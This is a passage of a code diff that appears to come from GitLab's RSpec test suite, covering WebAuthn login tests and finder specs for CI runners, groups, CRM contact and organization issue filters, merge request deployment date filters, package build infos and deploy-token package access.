+ # There is an issue open for this: https://github.com/cedarcode/webauthn-ruby/issues/259
+ it "allows logging in with that particular device" do
+ pending("support for passing credential options in FakeClient")
+ # Register current user with the same WebAuthn device
+ current_user = gitlab_sign_in(:user)
+ visit profile_account_path
+ manage_two_factor_authentication
+ register_webauthn_device(webauthn_device)
+ gitlab_sign_out
+
+ # Try authenticating user with the same WebAuthn device
+ gitlab_sign_in(current_user)
webauthn_device.respond_to_webauthn_authentication
expect(page).to have_css('.sign-out-link', visible: false)
end
end
+ end
- describe 'when a given WebAuthn device has already been registered by another user' do
- describe 'but not the current user' do
- let(:other_user) { create(:user, webauthn_xid: WebAuthn.generate_user_id, otp_required_for_login: otp_required_for_login) }
-
- it 'does not allow logging in with that particular device' do
- # Register other user with a different WebAuthn device
- other_device = add_webauthn_device(app_id, other_user)
-
- # Try authenticating user with the old WebAuthn device
- gitlab_sign_in(user)
- other_device.respond_to_webauthn_authentication
- expect(page).to have_content('Authentication via WebAuthn device failed')
- end
- end
-
- describe "and also the current user" do
- # TODO Uncomment once WebAuthn::FakeClient supports passing credential options
- # (especially allow_credentials, as this is needed to specify which credential the
- # fake client should use. Currently, the first credential is always used).
- # There is an issue open for this: https://github.com/cedarcode/webauthn-ruby/issues/259
- it "allows logging in with that particular device" do
- pending("support for passing credential options in FakeClient")
- # Register current user with the same WebAuthn device
- current_user = gitlab_sign_in(:user)
- visit profile_account_path
- manage_two_factor_authentication
- register_webauthn_device(webauthn_device)
- gitlab_sign_out
-
- # Try authenticating user with the same WebAuthn device
- gitlab_sign_in(current_user)
- webauthn_device.respond_to_webauthn_authentication
-
- expect(page).to have_css('.sign-out-link', visible: false)
- end
- end
- end
-
- describe 'when a given WebAuthn device has not been registered' do
- it 'does not allow logging in with that particular device' do
- unregistered_device = FakeWebauthnDevice.new(page, 'My device')
- gitlab_sign_in(user)
- unregistered_device.respond_to_webauthn_authentication
+ describe 'when a given WebAuthn device has not been registered' do
+ it 'does not allow logging in with that particular device' do
+ unregistered_device = FakeWebauthnDevice.new(page, 'My device')
+ gitlab_sign_in(user)
+ unregistered_device.respond_to_webauthn_authentication
- expect(page).to have_content('Authentication via WebAuthn device failed')
- end
+ expect(page).to have_content('Authentication via WebAuthn device failed')
end
+ end
- describe 'when more than one device has been registered by the same user' do
- it 'allows logging in with either device' do
- first_device = add_webauthn_device(app_id, user)
- second_device = add_webauthn_device(app_id, user)
+ describe 'when more than one device has been registered by the same user' do
+ it 'allows logging in with either device' do
+ first_device = add_webauthn_device(app_id, user)
+ second_device = add_webauthn_device(app_id, user)
- # Authenticate as both devices
- [first_device, second_device].each do |device|
- gitlab_sign_in(user)
- # register_webauthn_device(device)
- device.respond_to_webauthn_authentication
+ # Authenticate as both devices
+ [first_device, second_device].each do |device|
+ gitlab_sign_in(user)
+ # register_webauthn_device(device)
+ device.respond_to_webauthn_authentication
- expect(page).to have_css('.sign-out-link', visible: false)
+ expect(page).to have_css('.sign-out-link', visible: false)
- gitlab_sign_out
- end
+ gitlab_sign_out
end
end
end
diff --git a/spec/finders/ci/auth_job_finder_spec.rb b/spec/finders/ci/auth_job_finder_spec.rb
index 78827c9ddee..0a326699875 100644
--- a/spec/finders/ci/auth_job_finder_spec.rb
+++ b/spec/finders/ci/auth_job_finder_spec.rb
@@ -70,17 +70,6 @@ RSpec.describe Ci::AuthJobFinder do
expect(subject.user).to be_from_ci_job_token
expect(subject.user.ci_job_token_scope.source_project).to eq(job.project)
end
-
- context 'when feature flag ci_scoped_job_token is disabled' do
- before do
- stub_feature_flags(ci_scoped_job_token: false)
- end
-
- it 'does not set ci_job_token_scope on the job user' do
- expect(subject).to eq(job)
- expect(subject.user).not_to be_from_ci_job_token
- end
- end
end
end
end
diff --git a/spec/finders/ci/runners_finder_spec.rb b/spec/finders/ci/runners_finder_spec.rb
index 10d3f641e02..7e3c1abd6d1 100644
--- a/spec/finders/ci/runners_finder_spec.rb
+++ b/spec/finders/ci/runners_finder_spec.rb
@@ -59,6 +59,20 @@ RSpec.describe Ci::RunnersFinder do
end
end
+ context 'by active status' do
+ it 'with active set as false calls the corresponding scope on Ci::Runner with false' do
+ expect(Ci::Runner).to receive(:active).with(false).and_call_original
+
+ described_class.new(current_user: admin, params: { active: false }).execute
+ end
+
+ it 'with active set as true calls the corresponding scope on Ci::Runner with true' do
+ expect(Ci::Runner).to receive(:active).with(true).and_call_original
+
+ described_class.new(current_user: admin, params: { active: true }).execute
+ end
+ end
+
context 'by runner type' do
it 'calls the corresponding scope on Ci::Runner' do
expect(Ci::Runner).to receive(:project_type).and_call_original
@@ -263,7 +277,15 @@ RSpec.describe Ci::RunnersFinder do
let(:extra_params) { { search: 'runner_project_search' } }
it 'returns correct runner' do
- expect(subject).to eq([runner_project_3])
+ expect(subject).to match_array([runner_project_3])
+ end
+ end
+
+ context 'by active status' do
+ let(:extra_params) { { active: false } }
+
+ it 'returns correct runner' do
+ expect(subject).to match_array([runner_sub_group_1])
end
end
@@ -271,7 +293,7 @@ RSpec.describe Ci::RunnersFinder do
let(:extra_params) { { status_status: 'paused' } }
it 'returns correct runner' do
- expect(subject).to eq([runner_sub_group_1])
+ expect(subject).to match_array([runner_sub_group_1])
end
end
@@ -279,7 +301,7 @@ RSpec.describe Ci::RunnersFinder do
let(:extra_params) { { tag_name: %w[runner_tag] } }
it 'returns correct runner' do
- expect(subject).to eq([runner_project_5])
+ expect(subject).to match_array([runner_project_5])
end
end
diff --git a/spec/finders/environments/environments_by_deployments_finder_spec.rb b/spec/finders/environments/environments_by_deployments_finder_spec.rb
index 7804ffa4ef1..1b86aced67d 100644
--- a/spec/finders/environments/environments_by_deployments_finder_spec.rb
+++ b/spec/finders/environments/environments_by_deployments_finder_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Environments::EnvironmentsByDeploymentsFinder do
project.add_maintainer(user)
end
- shared_examples 'execute' do
+ describe '#execute' do
context 'tagged deployment' do
let(:environment_two) { create(:environment, project: project) }
# Environments need to include commits, so rewind two commits to fit
@@ -124,16 +124,4 @@ RSpec.describe Environments::EnvironmentsByDeploymentsFinder do
end
end
end
-
- describe "#execute" do
- include_examples 'execute'
-
- context 'when environments_by_deployments_finder_exists_optimization is disabled' do
- before do
- stub_feature_flags(environments_by_deployments_finder_exists_optimization: false)
- end
-
- include_examples 'execute'
- end
- end
end
diff --git a/spec/finders/group_descendants_finder_spec.rb b/spec/finders/group_descendants_finder_spec.rb
index 01c6eb05907..f6b87f7eeab 100644
--- a/spec/finders/group_descendants_finder_spec.rb
+++ b/spec/finders/group_descendants_finder_spec.rb
@@ -4,7 +4,12 @@ require 'spec_helper'
RSpec.describe GroupDescendantsFinder do
let_it_be(:user) { create(:user) }
- let_it_be(:group) { create(:group) }
+
+ let_it_be_with_reload(:group) do
+ create(:group).tap do |g|
+ g.add_owner(user)
+ end
+ end
let(:params) { {} }
@@ -12,254 +17,262 @@ RSpec.describe GroupDescendantsFinder do
described_class.new(current_user: user, parent_group: group, params: params)
end
- before do
- group.add_owner(user)
- end
-
- describe '#has_children?' do
- it 'is true when there are projects' do
- create(:project, namespace: group)
-
- expect(finder.has_children?).to be_truthy
- end
-
- context 'when there are subgroups' do
+ shared_examples 'group descentants finder examples' do
+ describe '#has_children?' do
it 'is true when there are projects' do
- create(:group, parent: group)
+ create(:project, namespace: group)
expect(finder.has_children?).to be_truthy
end
- end
- end
- describe '#execute' do
- it 'includes projects' do
- project = create(:project, namespace: group)
+ context 'when there are subgroups' do
+ it 'is true when there are projects' do
+ create(:group, parent: group)
- expect(finder.execute).to contain_exactly(project)
+ expect(finder.has_children?).to be_truthy
+ end
+ end
end
- context 'when archived is `true`' do
- let(:params) { { archived: 'true' } }
-
- it 'includes archived projects' do
- archived_project = create(:project, namespace: group, archived: true)
+ describe '#execute' do
+ it 'includes projects' do
project = create(:project, namespace: group)
- expect(finder.execute).to contain_exactly(archived_project, project)
+ expect(finder.execute).to contain_exactly(project)
end
- end
- context 'when archived is `only`' do
- let(:params) { { archived: 'only' } }
+ context 'when archived is `true`' do
+ let(:params) { { archived: 'true' } }
- it 'includes only archived projects' do
- archived_project = create(:project, namespace: group, archived: true)
- _project = create(:project, namespace: group)
+ it 'includes archived projects' do
+ archived_project = create(:project, namespace: group, archived: true)
+ project = create(:project, namespace: group)
- expect(finder.execute).to contain_exactly(archived_project)
+ expect(finder.execute).to contain_exactly(archived_project, project)
+ end
end
- end
- it 'does not include archived projects' do
- _archived_project = create(:project, :archived, namespace: group)
+ context 'when archived is `only`' do
+ let(:params) { { archived: 'only' } }
- expect(finder.execute).to be_empty
- end
+ it 'includes only archived projects' do
+ archived_project = create(:project, namespace: group, archived: true)
+ _project = create(:project, namespace: group)
- context 'with a filter' do
- let(:params) { { filter: 'test' } }
+ expect(finder.execute).to contain_exactly(archived_project)
+ end
+ end
- it 'includes only projects matching the filter' do
- _other_project = create(:project, namespace: group)
- matching_project = create(:project, namespace: group, name: 'testproject')
+ it 'does not include archived projects' do
+ _archived_project = create(:project, :archived, namespace: group)
- expect(finder.execute).to contain_exactly(matching_project)
+ expect(finder.execute).to be_empty
end
- end
- it 'sorts elements by name as default' do
- project1 = create(:project, namespace: group, name: 'z')
- project2 = create(:project, namespace: group, name: 'a')
+ context 'with a filter' do
+ let(:params) { { filter: 'test' } }
- expect(subject.execute).to eq([project2, project1])
- end
+ it 'includes only projects matching the filter' do
+ _other_project = create(:project, namespace: group)
+ matching_project = create(:project, namespace: group, name: 'testproject')
- context 'sorting by name' do
- let!(:project1) { create(:project, namespace: group, name: 'a', path: 'project-a') }
- let!(:project2) { create(:project, namespace: group, name: 'z', path: 'project-z') }
- let(:params) do
- {
- sort: 'name_asc'
- }
+ expect(finder.execute).to contain_exactly(matching_project)
+ end
end
- it 'sorts elements by name' do
- expect(subject.execute).to eq(
- [
- project1,
- project2
- ]
- )
+ it 'sorts elements by name as default' do
+ project1 = create(:project, namespace: group, name: 'z')
+ project2 = create(:project, namespace: group, name: 'a')
+
+ expect(subject.execute).to match_array([project2, project1])
end
- context 'with nested groups' do
- let!(:subgroup1) { create(:group, parent: group, name: 'a', path: 'sub-a') }
- let!(:subgroup2) { create(:group, parent: group, name: 'z', path: 'sub-z') }
+ context 'sorting by name' do
+ let!(:project1) { create(:project, namespace: group, name: 'a', path: 'project-a') }
+ let!(:project2) { create(:project, namespace: group, name: 'z', path: 'project-z') }
+ let(:params) do
+ {
+ sort: 'name_asc'
+ }
+ end
it 'sorts elements by name' do
expect(subject.execute).to eq(
[
- subgroup1,
- subgroup2,
project1,
project2
]
)
end
- end
- end
-
- it 'does not include projects shared with the group' do
- project = create(:project, namespace: group)
- other_project = create(:project)
- other_project.project_group_links.create!(group: group,
- group_access: Gitlab::Access::MAINTAINER)
- expect(finder.execute).to contain_exactly(project)
- end
- end
+ context 'with nested groups' do
+ let!(:subgroup1) { create(:group, parent: group, name: 'a', path: 'sub-a') }
+ let!(:subgroup2) { create(:group, parent: group, name: 'z', path: 'sub-z') }
+
+ it 'sorts elements by name' do
+ expect(subject.execute).to eq(
+ [
+ subgroup1,
+ subgroup2,
+ project1,
+ project2
+ ]
+ )
+ end
+ end
+ end
- context 'with shared groups' do
- let_it_be(:other_group) { create(:group) }
- let_it_be(:shared_group_link) do
- create(:group_group_link,
- shared_group: group,
- shared_with_group: other_group)
- end
+ it 'does not include projects shared with the group' do
+ project = create(:project, namespace: group)
+ other_project = create(:project)
+ other_project.project_group_links.create!(group: group,
+ group_access: Gitlab::Access::MAINTAINER)
- context 'without common ancestor' do
- it { expect(finder.execute).to be_empty }
+ expect(finder.execute).to contain_exactly(project)
+ end
end
- context 'with common ancestor' do
- let_it_be(:common_ancestor) { create(:group) }
- let_it_be(:other_group) { create(:group, parent: common_ancestor) }
- let_it_be(:group) { create(:group, parent: common_ancestor) }
+ context 'with shared groups' do
+ let_it_be(:other_group) { create(:group) }
+ let_it_be(:shared_group_link) do
+ create(:group_group_link,
+ shared_group: group,
+ shared_with_group: other_group)
+ end
- context 'querying under the common ancestor' do
+ context 'without common ancestor' do
it { expect(finder.execute).to be_empty }
end
- context 'querying the common ancestor' do
- subject(:finder) do
- described_class.new(current_user: user, parent_group: common_ancestor, params: params)
+ context 'with common ancestor' do
+ let_it_be(:common_ancestor) { create(:group) }
+ let_it_be(:other_group) { create(:group, parent: common_ancestor) }
+ let_it_be(:group) { create(:group, parent: common_ancestor) }
+
+ context 'querying under the common ancestor' do
+ it { expect(finder.execute).to be_empty }
end
- it 'contains shared subgroups' do
- expect(finder.execute).to contain_exactly(group, other_group)
+ context 'querying the common ancestor' do
+ subject(:finder) do
+ described_class.new(current_user: user, parent_group: common_ancestor, params: params)
+ end
+
+ it 'contains shared subgroups' do
+ expect(finder.execute).to contain_exactly(group, other_group)
+ end
end
end
end
- end
- context 'with nested groups' do
- let!(:project) { create(:project, namespace: group) }
- let!(:subgroup) { create(:group, :private, parent: group) }
+ context 'with nested groups' do
+ let!(:project) { create(:project, namespace: group) }
+ let!(:subgroup) { create(:group, :private, parent: group) }
- describe '#execute' do
- it 'contains projects and subgroups' do
- expect(finder.execute).to contain_exactly(subgroup, project)
- end
+ describe '#execute' do
+ it 'contains projects and subgroups' do
+ expect(finder.execute).to contain_exactly(subgroup, project)
+ end
- it 'does not include subgroups the user does not have access to' do
- subgroup.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ it 'does not include subgroups the user does not have access to' do
+ subgroup.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
- public_subgroup = create(:group, :public, parent: group, path: 'public-group')
- other_subgroup = create(:group, :private, parent: group, path: 'visible-private-group')
- other_user = create(:user)
- other_subgroup.add_developer(other_user)
+ public_subgroup = create(:group, :public, parent: group, path: 'public-group')
+ other_subgroup = create(:group, :private, parent: group, path: 'visible-private-group')
+ other_user = create(:user)
+ other_subgroup.add_developer(other_user)
- finder = described_class.new(current_user: other_user, parent_group: group)
+ finder = described_class.new(current_user: other_user, parent_group: group)
- expect(finder.execute).to contain_exactly(public_subgroup, other_subgroup)
- end
+ expect(finder.execute).to contain_exactly(public_subgroup, other_subgroup)
+ end
- it 'only includes public groups when no user is given' do
- public_subgroup = create(:group, :public, parent: group)
- _private_subgroup = create(:group, :private, parent: group)
+ it 'only includes public groups when no user is given' do
+ public_subgroup = create(:group, :public, parent: group)
+ _private_subgroup = create(:group, :private, parent: group)
- finder = described_class.new(current_user: nil, parent_group: group)
+ finder = described_class.new(current_user: nil, parent_group: group)
- expect(finder.execute).to contain_exactly(public_subgroup)
- end
+ expect(finder.execute).to contain_exactly(public_subgroup)
+ end
- context 'when archived is `true`' do
- let(:params) { { archived: 'true' } }
+ context 'when archived is `true`' do
+ let(:params) { { archived: 'true' } }
- it 'includes archived projects in the count of subgroups' do
- create(:project, namespace: subgroup, archived: true)
+ it 'includes archived projects in the count of subgroups' do
+ create(:project, namespace: subgroup, archived: true)
- expect(finder.execute.first.preloaded_project_count).to eq(1)
+ expect(finder.execute.first.preloaded_project_count).to eq(1)
+ end
end
- end
- context 'with a filter' do
- let(:params) { { filter: 'test' } }
+ context 'with a filter' do
+ let(:params) { { filter: 'test' } }
- it 'contains only matching projects and subgroups' do
- matching_project = create(:project, namespace: group, name: 'Testproject')
- matching_subgroup = create(:group, name: 'testgroup', parent: group)
+ it 'contains only matching projects and subgroups' do
+ matching_project = create(:project, namespace: group, name: 'Testproject')
+ matching_subgroup = create(:group, name: 'testgroup', parent: group)
- expect(finder.execute).to contain_exactly(matching_subgroup, matching_project)
- end
+ expect(finder.execute).to contain_exactly(matching_subgroup, matching_project)
+ end
- it 'does not include subgroups the user does not have access to' do
- _invisible_subgroup = create(:group, :private, parent: group, name: 'test1')
- other_subgroup = create(:group, :private, parent: group, name: 'test2')
- public_subgroup = create(:group, :public, parent: group, name: 'test3')
- other_subsubgroup = create(:group, :private, parent: other_subgroup, name: 'test4')
- other_user = create(:user)
- other_subgroup.add_developer(other_user)
+ it 'does not include subgroups the user does not have access to' do
+ _invisible_subgroup = create(:group, :private, parent: group, name: 'test1')
+ other_subgroup = create(:group, :private, parent: group, name: 'test2')
+ public_subgroup = create(:group, :public, parent: group, name: 'test3')
+ other_subsubgroup = create(:group, :private, parent: other_subgroup, name: 'test4')
+ other_user = create(:user)
+ other_subgroup.add_developer(other_user)
- finder = described_class.new(current_user: other_user,
- parent_group: group,
- params: params)
+ finder = described_class.new(current_user: other_user,
+ parent_group: group,
+ params: params)
- expect(finder.execute).to contain_exactly(other_subgroup, public_subgroup, other_subsubgroup)
- end
+ expect(finder.execute).to contain_exactly(other_subgroup, public_subgroup, other_subsubgroup)
+ end
- context 'with matching children' do
- it 'includes a group that has a subgroup matching the query and its parent' do
- matching_subgroup = create(:group, :private, name: 'testgroup', parent: subgroup)
+ context 'with matching children' do
+ it 'includes a group that has a subgroup matching the query and its parent' do
+ matching_subgroup = create(:group, :private, name: 'testgroup', parent: subgroup)
- expect(finder.execute).to contain_exactly(subgroup, matching_subgroup)
- end
+ expect(finder.execute).to contain_exactly(subgroup, matching_subgroup)
+ end
- it 'includes the parent of a matching project' do
- matching_project = create(:project, namespace: subgroup, name: 'Testproject')
+ it 'includes the parent of a matching project' do
+ matching_project = create(:project, namespace: subgroup, name: 'Testproject')
- expect(finder.execute).to contain_exactly(subgroup, matching_project)
- end
+ expect(finder.execute).to contain_exactly(subgroup, matching_project)
+ end
- context 'with a small page size' do
- let(:params) { { filter: 'test', per_page: 1 } }
+ context 'with a small page size' do
+ let(:params) { { filter: 'test', per_page: 1 } }
- it 'contains all the ancestors of a matching subgroup regardless the page size' do
- subgroup = create(:group, :private, parent: group)
- matching = create(:group, :private, name: 'testgroup', parent: subgroup)
+ it 'contains all the ancestors of a matching subgroup regardless the page size' do
+ subgroup = create(:group, :private, parent: group)
+ matching = create(:group, :private, name: 'testgroup', parent: subgroup)
- expect(finder.execute).to contain_exactly(subgroup, matching)
+ expect(finder.execute).to contain_exactly(subgroup, matching)
+ end
end
- end
- it 'does not include the parent itself' do
- group.update!(name: 'test')
+ it 'does not include the parent itself' do
+ group.update!(name: 'test')
- expect(finder.execute).not_to include(group)
+ expect(finder.execute).not_to include(group)
+ end
end
end
end
end
end
+
+ it_behaves_like 'group descentants finder examples'
+
+ context 'when feature flag :linear_group_descendants_finder is disabled' do
+ before do
+ stub_feature_flags(linear_group_descendants_finder: false)
+ end
+
+ it_behaves_like 'group descentants finder examples'
+ end
end
diff --git a/spec/finders/groups_finder_spec.rb b/spec/finders/groups_finder_spec.rb
index 10a08d7326e..a4cbee6a124 100644
--- a/spec/finders/groups_finder_spec.rb
+++ b/spec/finders/groups_finder_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe GroupsFinder do
include AdminModeHelper
- describe '#execute' do
+ shared_examples '#execute' do
let(:user) { create(:user) }
describe 'root level groups' do
@@ -20,6 +20,7 @@ RSpec.describe GroupsFinder do
user_private_group)
:regular | { all_available: false } | %i(user_public_group user_internal_group user_private_group)
:regular | {} | %i(public_group internal_group user_public_group user_internal_group user_private_group)
+ :regular | { min_access_level: Gitlab::Access::DEVELOPER } | %i(user_public_group user_internal_group user_private_group)
:external | { all_available: true } | %i(public_group user_public_group user_internal_group user_private_group)
:external | { all_available: false } | %i(user_public_group user_internal_group user_private_group)
@@ -261,4 +262,16 @@ RSpec.describe GroupsFinder do
end
end
end
+
+ describe '#execute' do
+ include_examples '#execute'
+
+ context 'when use_traversal_ids_groups_finder feature flags is disabled' do
+ before do
+ stub_feature_flags(use_traversal_ids_groups_finder: false)
+ end
+
+ include_examples '#execute'
+ end
+ end
end
diff --git a/spec/finders/issuables/crm_contact_filter_spec.rb b/spec/finders/issuables/crm_contact_filter_spec.rb
new file mode 100644
index 00000000000..d6eccab39ad
--- /dev/null
+++ b/spec/finders/issuables/crm_contact_filter_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Issuables::CrmContactFilter do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+
+ let_it_be(:contact1) { create(:contact, group: group) }
+ let_it_be(:contact2) { create(:contact, group: group) }
+
+ let_it_be(:contact1_issue1) { create(:issue, project: project) }
+ let_it_be(:contact1_issue2) { create(:issue, project: project) }
+ let_it_be(:contact2_issue1) { create(:issue, project: project) }
+ let_it_be(:issues) { Issue.where(id: [contact1_issue1.id, contact1_issue2.id, contact2_issue1.id]) }
+
+ before_all do
+ create(:issue_customer_relations_contact, issue: contact1_issue1, contact: contact1)
+ create(:issue_customer_relations_contact, issue: contact1_issue2, contact: contact1)
+ create(:issue_customer_relations_contact, issue: contact2_issue1, contact: contact2)
+ end
+
+ describe 'when a contact has issues' do
+ it 'returns all contact1 issues' do
+ params = { crm_contact_id: contact1.id }
+
+ expect(described_class.new(params: params).filter(issues)).to contain_exactly(contact1_issue1, contact1_issue2)
+ end
+
+ it 'returns all contact2 issues' do
+ params = { crm_contact_id: contact2.id }
+
+ expect(described_class.new(params: params).filter(issues)).to contain_exactly(contact2_issue1)
+ end
+ end
+
+ describe 'when a contact has no issues' do
+ it 'returns no issues' do
+ contact3 = create(:contact, group: group)
+ params = { crm_contact_id: contact3.id }
+
+ expect(described_class.new(params: params).filter(issues)).to be_empty
+ end
+ end
+end
diff --git a/spec/finders/issuables/crm_organization_filter_spec.rb b/spec/finders/issuables/crm_organization_filter_spec.rb
new file mode 100644
index 00000000000..2a521dcf721
--- /dev/null
+++ b/spec/finders/issuables/crm_organization_filter_spec.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Issuables::CrmOrganizationFilter do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+
+ let_it_be(:organization1) { create(:organization, group: group) }
+ let_it_be(:organization2) { create(:organization, group: group) }
+ let_it_be(:contact1) { create(:contact, group: group, organization: organization1) }
+ let_it_be(:contact2) { create(:contact, group: group, organization: organization1) }
+ let_it_be(:contact3) { create(:contact, group: group, organization: organization2) }
+
+ let_it_be(:contact1_issue) { create(:issue, project: project) }
+ let_it_be(:contact2_issue) { create(:issue, project: project) }
+ let_it_be(:contact3_issue) { create(:issue, project: project) }
+ let_it_be(:issues) { Issue.where(id: [contact1_issue.id, contact2_issue.id, contact3_issue.id]) }
+
+ before_all do
+ create(:issue_customer_relations_contact, issue: contact1_issue, contact: contact1)
+ create(:issue_customer_relations_contact, issue: contact2_issue, contact: contact2)
+ create(:issue_customer_relations_contact, issue: contact3_issue, contact: contact3)
+ end
+
+ describe 'when an organization has issues' do
+ it 'returns all organization1 issues' do
+ params = { crm_organization_id: organization1.id }
+
+ expect(described_class.new(params: params).filter(issues)).to contain_exactly(contact1_issue, contact2_issue)
+ end
+
+ it 'returns all organization2 issues' do
+ params = { crm_organization_id: organization2.id }
+
+ expect(described_class.new(params: params).filter(issues)).to contain_exactly(contact3_issue)
+ end
+ end
+
+ describe 'when an organization has no issues' do
+ it 'returns no issues' do
+ organization3 = create(:organization, group: group)
+ params = { crm_organization_id: organization3.id }
+
+ expect(described_class.new(params: params).filter(issues)).to be_empty
+ end
+ end
+end
diff --git a/spec/finders/issues_finder_spec.rb b/spec/finders/issues_finder_spec.rb
index 9f12308013e..31563a6326d 100644
--- a/spec/finders/issues_finder_spec.rb
+++ b/spec/finders/issues_finder_spec.rb
@@ -910,6 +910,45 @@ RSpec.describe IssuesFinder do
end
end
+ context 'filtering by crm contact' do
+ let_it_be(:contact1) { create(:contact, group: group) }
+ let_it_be(:contact2) { create(:contact, group: group) }
+
+ let_it_be(:contact1_issue1) { create(:issue, project: project1) }
+ let_it_be(:contact1_issue2) { create(:issue, project: project1) }
+ let_it_be(:contact2_issue1) { create(:issue, project: project1) }
+
+ let(:params) { { crm_contact_id: contact1.id } }
+
+ it 'returns for that contact' do
+ create(:issue_customer_relations_contact, issue: contact1_issue1, contact: contact1)
+ create(:issue_customer_relations_contact, issue: contact1_issue2, contact: contact1)
+ create(:issue_customer_relations_contact, issue: contact2_issue1, contact: contact2)
+
+ expect(issues).to contain_exactly(contact1_issue1, contact1_issue2)
+ end
+ end
+
+ context 'filtering by crm organization' do
+ let_it_be(:organization) { create(:organization, group: group) }
+ let_it_be(:contact1) { create(:contact, group: group, organization: organization) }
+ let_it_be(:contact2) { create(:contact, group: group, organization: organization) }
+
+ let_it_be(:contact1_issue1) { create(:issue, project: project1) }
+ let_it_be(:contact1_issue2) { create(:issue, project: project1) }
+ let_it_be(:contact2_issue1) { create(:issue, project: project1) }
+
+ let(:params) { { crm_organization_id: organization.id } }
+
+ it 'returns for that contact' do
+ create(:issue_customer_relations_contact, issue: contact1_issue1, contact: contact1)
+ create(:issue_customer_relations_contact, issue: contact1_issue2, contact: contact1)
+ create(:issue_customer_relations_contact, issue: contact2_issue1, contact: contact2)
+
+ expect(issues).to contain_exactly(contact1_issue1, contact1_issue2, contact2_issue1)
+ end
+ end
+
context 'when the user is unauthorized' do
let(:search_user) { nil }
diff --git a/spec/finders/merge_requests_finder_spec.rb b/spec/finders/merge_requests_finder_spec.rb
index 42197a6b103..03639bc0b98 100644
--- a/spec/finders/merge_requests_finder_spec.rb
+++ b/spec/finders/merge_requests_finder_spec.rb
@@ -681,6 +681,18 @@ RSpec.describe MergeRequestsFinder do
expect(mrs).to eq([mr1])
end
+ it 'filters merge requests ignoring empty deployed_before' do
+ mrs = described_class.new(user, deployed_before: '').execute
+
+ expect(mrs.size).to eq(7)
+ end
+
+ it 'filters merge requests ignoring invalid deployed_before' do
+ mrs = described_class.new(user, deployed_before: '2021-99-99').execute
+
+ expect(mrs.size).to eq(7)
+ end
+
it 'filters merge requests deployed after a given date' do
mrs = described_class
.new(user, deployed_after: '2020-10-01 12:00')
@@ -688,6 +700,18 @@ RSpec.describe MergeRequestsFinder do
expect(mrs).to eq([mr2])
end
+
+ it 'filters merge requests ignoring empty deployed_after' do
+ mrs = described_class.new(user, deployed_after: '').execute
+
+ expect(mrs.size).to eq(7)
+ end
+
+ it 'filters merge requests ignoring invalid deployed_after' do
+ mrs = described_class.new(user, deployed_after: '2021-99-99').execute
+
+ expect(mrs.size).to eq(7)
+ end
end
it 'does not raise any exception with complex filters' do
diff --git a/spec/finders/packages/build_infos_finder_spec.rb b/spec/finders/packages/build_infos_finder_spec.rb
new file mode 100644
index 00000000000..23425de4316
--- /dev/null
+++ b/spec/finders/packages/build_infos_finder_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Packages::BuildInfosFinder do
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be(:package) { create(:package) }
+ let_it_be(:build_infos) { create_list(:package_build_info, 5, :with_pipeline, package: package) }
+ let_it_be(:build_info_with_empty_pipeline) { create(:package_build_info, package: package) }
+
+ let(:finder) { described_class.new(package, params) }
+ let(:params) do
+ {
+ first: first,
+ last: last,
+ after: after,
+ before: before,
+ max_page_size: max_page_size,
+ support_next_page: support_next_page
+ }
+ end
+
+ describe '#execute' do
+ subject { finder.execute }
+
+ where(:first, :last, :after_index, :before_index, :max_page_size, :support_next_page, :expected_build_infos_indexes) do
+ # F L AI BI MPS SNP
+ nil | nil | nil | nil | nil | false | [4, 3, 2, 1, 0]
+ nil | nil | nil | nil | 10 | false | [4, 3, 2, 1, 0]
+ nil | nil | nil | nil | 2 | false | [4, 3]
+ 2 | nil | nil | nil | nil | false | [4, 3]
+ 2 | nil | nil | nil | nil | true | [4, 3, 2]
+ 2 | nil | 3 | nil | nil | false | [2, 1]
+ 2 | nil | 3 | nil | nil | true | [2, 1, 0]
+ 3 | nil | 4 | nil | 2 | false | [3, 2]
+ 3 | nil | 4 | nil | 2 | true | [3, 2, 1]
+ nil | 2 | nil | nil | nil | false | [0, 1]
+ nil | 2 | nil | nil | nil | true | [0, 1, 2]
+ nil | 2 | nil | 1 | nil | false | [2, 3]
+ nil | 2 | nil | 1 | nil | true | [2, 3, 4]
+ nil | 3 | nil | 0 | 2 | false | [1, 2]
+ nil | 3 | nil | 0 | 2 | true | [1, 2, 3]
+ end
+
+ with_them do
+ let(:expected_build_infos) do
+ expected_build_infos_indexes.map do |idx|
+ build_infos[idx]
+ end
+ end
+
+ let(:after) do
+ build_infos[after_index].pipeline_id if after_index
+ end
+
+ let(:before) do
+ build_infos[before_index].pipeline_id if before_index
+ end
+
+ it { is_expected.to eq(expected_build_infos) }
+ end
+ end
+end
diff --git a/spec/finders/packages/group_packages_finder_spec.rb b/spec/finders/packages/group_packages_finder_spec.rb
index 3254c436674..c2dbfb59eb2 100644
--- a/spec/finders/packages/group_packages_finder_spec.rb
+++ b/spec/finders/packages/group_packages_finder_spec.rb
@@ -107,6 +107,28 @@ RSpec.describe Packages::GroupPackagesFinder do
end
end
+ context 'deploy tokens' do
+ let(:add_user_to_group) { false }
+
+ context 'group deploy token' do
+ let_it_be(:deploy_token_for_group) { create(:deploy_token, :group, read_package_registry: true) }
+ let_it_be(:group_deploy_token) { create(:group_deploy_token, deploy_token: deploy_token_for_group, group: group) }
+
+ let(:user) { deploy_token_for_group }
+
+ it { is_expected.to match_array([package1, package2, package4]) }
+ end
+
+ context 'project deploy token' do
+ let_it_be(:deploy_token_for_project) { create(:deploy_token, read_package_registry: true) }
+ let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token_for_project, project: subproject) }
+
+ let(:user) { deploy_token_for_project }
+
+ it { is_expected.to match_array([package4]) }
+ end
+ end
+
context 'avoid N+1 query' do
it 'avoids N+1 database queries' do
count = ActiveRecord::QueryRecorder.new { subject }
